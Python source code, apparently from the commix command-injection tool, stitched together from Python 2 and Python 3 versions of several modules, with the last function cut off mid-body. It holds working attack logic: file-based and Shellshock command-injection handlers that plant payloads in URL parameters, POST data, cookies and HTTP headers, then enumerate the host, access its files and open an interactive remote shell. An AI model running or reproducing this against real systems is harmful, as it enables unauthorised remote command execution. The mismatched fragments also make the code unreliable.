http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url) target = re.sub(settings.INJECT_TAG, payload, url) vuln_parameter = ''.join(vuln_parameter) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Get the response of the request response = get_request_response(request) else : # Check if defined method is POST. parameter = menu.options.data parameter = urllib2.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) # Define the POST data if settings.IS_JSON == False: data = re.sub(settings.INJECT_TAG, payload, parameter) request = urllib2.Request(url, data) else: payload = payload.replace("\"", "\\\"") data = re.sub(settings.INJECT_TAG, urllib.unquote(payload), parameter) data = json.loads(data, strict = False) request = urllib2.Request(url, json.dumps(data)) # Check if defined extra headers. headers.do_check(request) # Get the response of the request response = get_request_response(request) return response
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response): counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based injection technique" # Set temp path if settings.TARGET_OS == "win": if "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.TMP_PATH = "C:\\Windows\TEMP\\" else: settings.TMP_PATH = "%temp%\\" else: settings.TMP_PATH = "/tmp/" if menu.options.tmp_path: tmp_path = menu.options.tmp_path else: tmp_path = settings.TMP_PATH if settings.DEFAULT_SRV_ROOT_DIR != settings.SRV_ROOT_DIR: settings.SRV_ROOT_DIR = settings.DEFAULT_SRV_ROOT_DIR if menu.options.file_dest and '/tmp/' in menu.options.file_dest: call_tmp_based = True else: if menu.options.srv_root_dir: settings.SRV_ROOT_DIR = menu.options.srv_root_dir else: # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. if "apache" in settings.SERVER_BANNER.lower(): if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[0] > "2.3" and not settings.TARGET_OS == "win": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR except IndexError: pass # Add "/html" to servers root directory elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: pass # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" elif "nginx" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[0] >= "1.2.4": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: # Add "/www" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www" except IndexError: pass elif "microsoft-iis" in settings.SERVER_BANNER.lower(): pass else: # Provide custom server's root directory. custom_srv_root_dir() path = urlparse.urlparse(url).path path_parts = path.split('/') count = 0 for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] EXTRA_DIR = path.replace(last_param, "") settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR if settings.TARGET_OS == "win": settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\") if not settings.LOAD_SESSION or settings.RETEST == True: info_msg = "Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... " print settings.print_info_msg(info_msg) i = 0 TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification(url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell : payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = fb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) response = fb_injector.referer_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay) time.sleep(delay) try: # Check if defined extra headers. request = urllib2.Request(output) headers.do_check(request) # Evaluate test results. output = urllib2.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL info_msg = "Testing the " + technique + "... [ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0 : # delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # if settings.VERBOSITY_LEVEL >= 1: # print "" raise urllib2.HTTPError(url, 404, 'Error', {}, None) except urllib2.HTTPError, e: if str(e.getcode()) == settings.NOT_FOUND_ERROR: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split(menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == settings.FAILED_TRIES and no_result == True : warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print "" while True: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) tmp_upload = sys.stdin.readline().replace("\n","").lower() if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print "" raise else: if tmp_upload == "": tmp_upload = "enter" err_msg = "'" + tmp_upload + "' is not a valid answer." print settings.print_error_msg(err_msg) pass continue else: if exit_loops == False: if not settings.VERBOSITY_LEVEL >= 1: if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" else: percent = str(float_percent)+ "%" info_msg = "Testing the " + technique + "... [ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print settings.print_critical_msg(err_msg) + "\n" sys.exit(0) elif str(e.getcode()) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print settings.print_critical_msg(err_msg) + "\n" sys.exit(0) except KeyboardInterrupt: if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except urllib2.URLError, e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print "" # Provide custom server's root directory. custom_srv_root_dir() continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False if not settings.VERBOSITY_LEVEL >= 1 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower() if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" break elif enumerate_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options() and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL >= 1: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : if settings.ENUMERATION_DONE != True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() if file_access_again in settings.CHOICE_YES: fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) #print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" fb_enumeration.single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) if settings.VERBOSITY_LEVEL >= 1: print "" delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL >= 1: print "" if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, delay, go_back_again) if go_back: break else: response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay) shell = "".join(str(p) for p in shell) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" if not shell or shell == "": if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) + "\n" elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise
def shellshock_handler(url, http_request_method, filename): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based command injection" technique = "shellshock injection technique" info_msg = "Testing the " + technique + ". " if settings.VERBOSITY_LEVEL >= 2: info_msg = info_msg + "\n" sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: i = 0 total = len(shellshock_cves) * len(headers) for cve in shellshock_cves: for check_header in headers: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False i = i + 1 attack_vector = "echo " + cve + ":Done;" payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: sys.stdout.write("\n" + settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) header = {check_header : payload} request = _urllib.request.Request(url, None, header) if check_header == "User-Agent": menu.options.agent = payload else: menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = settings.info_msg no_result = False elif len(response.info()) > 0 and cve in response.info(): percent = settings.info_msg no_result = False else: percent = str(float_percent)+ "%" if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if no_result == False: # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) vuln_parameter = "HTTP Header" the_type = " " + vuln_parameter check_header = " " + check_header vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) check_header = check_header[1:] logs.update_payload(filename, counter, payload) if settings.VERBOSITY_LEVEL != 0: checks.total_of_requests() info_msg = "The (" + check_header + ") '" info_msg += url + Style.RESET_ALL + Style.BRIGHT info_msg += "' seems vulnerable via " + technique + "." if settings.VERBOSITY_LEVEL < 2: print("") print(settings.print_bold_info_msg(info_msg)) sub_content = "\"" + payload + "\"" print(settings.print_sub_content(sub_content)) # Enumeration options. if settings.ENUMERATION_DONE == True : if settings.VERBOSITY_LEVEL != 0: print("") while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input(settings.print_question_msg(question_msg)) else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: enumeration(url, cve, check_header, filename) # File access options. if settings.FILE_ACCESS_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input(settings.print_question_msg(question_msg)) else: file_access_again= "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: file_access(url, cve, check_header, filename) if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) print("\n") + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL raise SystemExit() else: # Pseudo-Terminal shell print("") go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell= "" if len(gotshell) == 0: gotshell= "Y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) if go_back: break else: shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") else: debug_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL == 1: sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") elif settings.VERBOSITY_LEVEL >= 2: sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg) + "\n") except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except TypeError: break elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) continue break else: continue if no_result: if settings.VERBOSITY_LEVEL != 2: print("") err_msg = "All tested HTTP headers appear to be not injectable." print(settings.print_critical_msg(err_msg)) raise SystemExit() except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print("\n") + settings.print_critical_msg(err) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit() except _urllib.error.URLError as err_msg: err_msg = str(err_msg.reason).split(" ")[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print("") print(settings.print_critical_msg(err_msg)) raise SystemExit() except _http_client.IncompleteRead as err_msg: print(settings.print_critical_msg(err_msg + ".")) raise SystemExit()
def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): # Execute shell commands on vulnerable host. if alter_shell: payload = fb_payloads.cmd_execution_alter_shell( separator, cmd, OUTPUT_TEXTFILE) else: payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: payload_msg = payload.replace("\n", "\\n") if settings.COMMENT in payload_msg: payload_msg = payload_msg.split(settings.COMMENT)[0] info_msg = "Executing the '" + cmd.split( settings.COMMENT)[0] + "' command " sys.stdout.write("\n" + settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write( "\n" + settings.print_payload(payload).split(settings.COMMENT)[0] + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: response = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: response = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: response = referer_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: response = custom_header_injection_test(url, vuln_parameter, payload) else: # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url) payload = payload.replace(" ", "%20") target = re.sub(settings.INJECT_TAG, payload, url) vuln_parameter = ''.join(vuln_parameter) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Get the response of the request response = requests.get_request_response(request) else: # Check if defined method is POST. parameter = menu.options.data parameter = urllib2.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) # Define the POST data if settings.IS_JSON == False: data = re.sub(settings.INJECT_TAG, payload, parameter) request = urllib2.Request(url, data) else: payload = payload.replace("\"", "\\\"") data = re.sub(settings.INJECT_TAG, urllib.unquote(payload), parameter) try: data = json.loads(data, strict=False) except: pass request = urllib2.Request(url, json.dumps(data)) # Check if defined extra headers. headers.do_check(request) # Get the response of the request response = requests.get_request_response(request) return response
def injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell): # Execute shell commands on vulnerable host. if alter_shell: payload = fb_payloads.cmd_execution_alter_shell( separator, cmd, OUTPUT_TEXTFILE) else: payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. if menu.options.prefix: prefix = menu.options.prefix payload = prefix + payload else: payload = prefix + payload # Check if defined "--suffix" option. if menu.options.suffix: suffix = menu.options.suffix payload = payload + suffix else: payload = payload + suffix # Check if defined "--verbose" option. if menu.options.verbose: sys.stdout.write("\n" + Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL) # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag url = parameters.do_GET_check(url) # Encoding non-ASCII characters payload. payload = urllib.quote(payload) target = re.sub(settings.INJECT_TAG, payload, url) vuln_parameter = ''.join(vuln_parameter) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except urllib2.HTTPError, err: print "\n" + Back.RED + "(x) Error : " + str( err) + Style.RESET_ALL raise SystemExit() # Check if defined Tor. elif menu.options.tor: try: response = tor.use_tor(request) except urllib2.HTTPError, err: print "\n" + Back.RED + "(x) Error : " + str( err) + Style.RESET_ALL raise SystemExit()
def injection_test(payload, http_request_method, url): # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url) # Encoding spaces. payload = payload.replace(" ", "%20") # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = re.sub(settings.INJECT_TAG, payload, url) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) try: # Get the response of the request response = requests.get_request_response(request) except KeyboardInterrupt: response = None # Check if defined method is POST. else: parameter = menu.options.data parameter = urllib2.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) parameter = parameter.replace("+", "%2B") # Define the POST data if settings.IS_JSON == False: data = re.sub(settings.INJECT_TAG, payload, parameter) request = urllib2.Request(url, data) else: payload = payload.replace("\"", "\\\"") data = re.sub(settings.INJECT_TAG, urllib.unquote(payload), parameter) try: data = json.loads(data, strict=False) except: pass request = urllib2.Request(url, json.dumps(data)) # Check if defined extra headers. headers.do_check(request) # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) try: # Get the response of the request response = requests.get_request_response(request) except KeyboardInterrupt: response = None return response, vuln_parameter
